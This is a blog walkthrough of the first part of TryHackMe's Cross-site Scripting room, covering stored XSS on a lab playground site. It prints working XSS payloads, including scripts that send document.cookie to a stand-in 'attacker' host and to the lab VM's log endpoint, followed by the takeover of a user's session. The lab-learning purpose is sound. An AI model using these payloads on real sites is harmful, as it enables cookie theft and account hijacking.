Disclaimer!!!
The information provided in this blog is to be used for educational purposes only. All of the information in this blog is meant to help the reader to develop a hacker defense attitude in order to prevent the attacks discussed. In no way should you use the information to cause any kind of damage. Hacking is a crime and I am not responsible for the way you use it.
Hello again! Welcome back at this new post focused on TryHackMe’s Cross-site Scripting room. I’ve decided to split the whole room into 4 smaller sections. This part is going to be about stored XSS, the second one about reflected and DOM XSS, the third one about XSS filter evasion and the last one about BeEF. It’s going to be super interesting so keep up with me 😉
Task 1: Introduction
Cross-site scripting (XSS): A web application is vulnerable to XSS if it uses unsanitized user input. XSS is possible in Javascript, VBScript, Flash and CSS. There are three main types of cross-site scripting:
- Stored
- Reflected
- DOM-based
The following attacks are possible with XXS: Cookie Stealing, Keylogging, Webcam snapshot, Phishing, Port Scanning and millions of other possibilities with XSS…
Task 2: Deploy your XSS Playground
Every task in this room has a page on the XSS Playground site. And the really good thing is that it also includes a more in-depth explanation of the vulnerability in question. So we can turn to this help at any time.
Task 3: Stored XSS
Stored XSS is the most dangerous type of XSS. This is where a malicious string originates from the website’s database. This often happens when a website allows user input that is not sanitised („bad parts“ of a user’s input are not removed) when inserted into the database. Once the payload is inserted into a field, it will be executed every time the website displays that field.
Exploitation time! Register on the XSS Playground site and then navigate to the ‚Stored XSS‘ page:
And right below that, there is the following input field for adding comments:
We need to resolve the following challenges:
- Add a comment and see if you can insert some of your own HTML.
- Create an alert popup box appear on the page with your document cookies.
- Change „XSS Playground“ to „I am a hacker“ by adding a comment and using Javascript.
- Take over Jack’s account via stealing his cookie.
- Post a comment as Jack.
So let’s look at the challenges one by one:
- As easy as adding some valid HTML tags, eg. put some text inside <p></p> for a new paragraph:
2. I know absolutely nothing about Javascript so I needed to look at Hint 2. It advises us to use the command document.cookies in Javascript to get document cookies. Actually, the correct command is document.cookie. But we don’t need to just get the cookie value, we also need to display it. And for that we need alert() method. So the final command should look as the following:
alert(document.cookie)
3. I needed a hint again. It says: Now you know you can execute Javascript directly on the webpage, you can use it to change elements on the page. Try running this in your Developer Tools console
document.querySelector('#thm-title').textContent = 'Hey'querySelector() method returns the first element that matches a specified CSS selector (in our case #thm-title) in the document. And we are also using .textContent to change the text of the specified selector.
After googling a bit, you will find out that you will actually need to use getElementById() method to select thm-title attribute. And set .textContent to ‚I am a hacker‘ by using a simple equals sign:
<script>document.getElementById('thm-title').textContent="I am a hacker";</script>After executing this, you will notice that the value of attribute thm-title (XSS Playground) has changed to our own string (I am a hacker):
4. Stored XSS can be used to steal victims‘ cookies (data on a machine that authenticates a user to a webserver). This can be done by having a victims browser parse the following Javascript code:
<script>window.location='http://attacker/?cookie='+document.cookie</script> This script navigates the user’s browser to a different URL, this new request will include a victim’s cookie as a query parameter. When the attacker has acquired the cookie, they can use it to impersonate the victim.
I had to look at the hint again. In short, anything you log to //IP/log will be visible in //IP/logs.
So let’s look at the logs to see what we have there:
Now execute <script>document.location=’http://<ip>/log/’+document.cookie</script> but specify the IP address of the VM. In my case:
<script>document.location='http://10.10.233.157/log/'+document.cookie</script>And if we look at //IP/logs page again, we can notice that it’s been updated by stolen cookie’s value:
The stolen cookie: connect.sid s%3Aat0YYHmITnfNSF0kM5Ne-ir1skTX3aEU.yj1%2FXoaxe7cCjUYmfgQpW3o5wP3O8Ae7YNHnHPJIasE
Now we can use this to authenticate as a user Jack. So update the cookie value in the browser:
And refresh:
You can see that we took over Jack’s account.
That’s it for this part. Thank you for reading this and see you at the next blog post!
All credits go to tryhackme (https://tryhackme.com/p/tryhackme) who has created this excellent room. You can find it at https://tryhackme.com/room/xss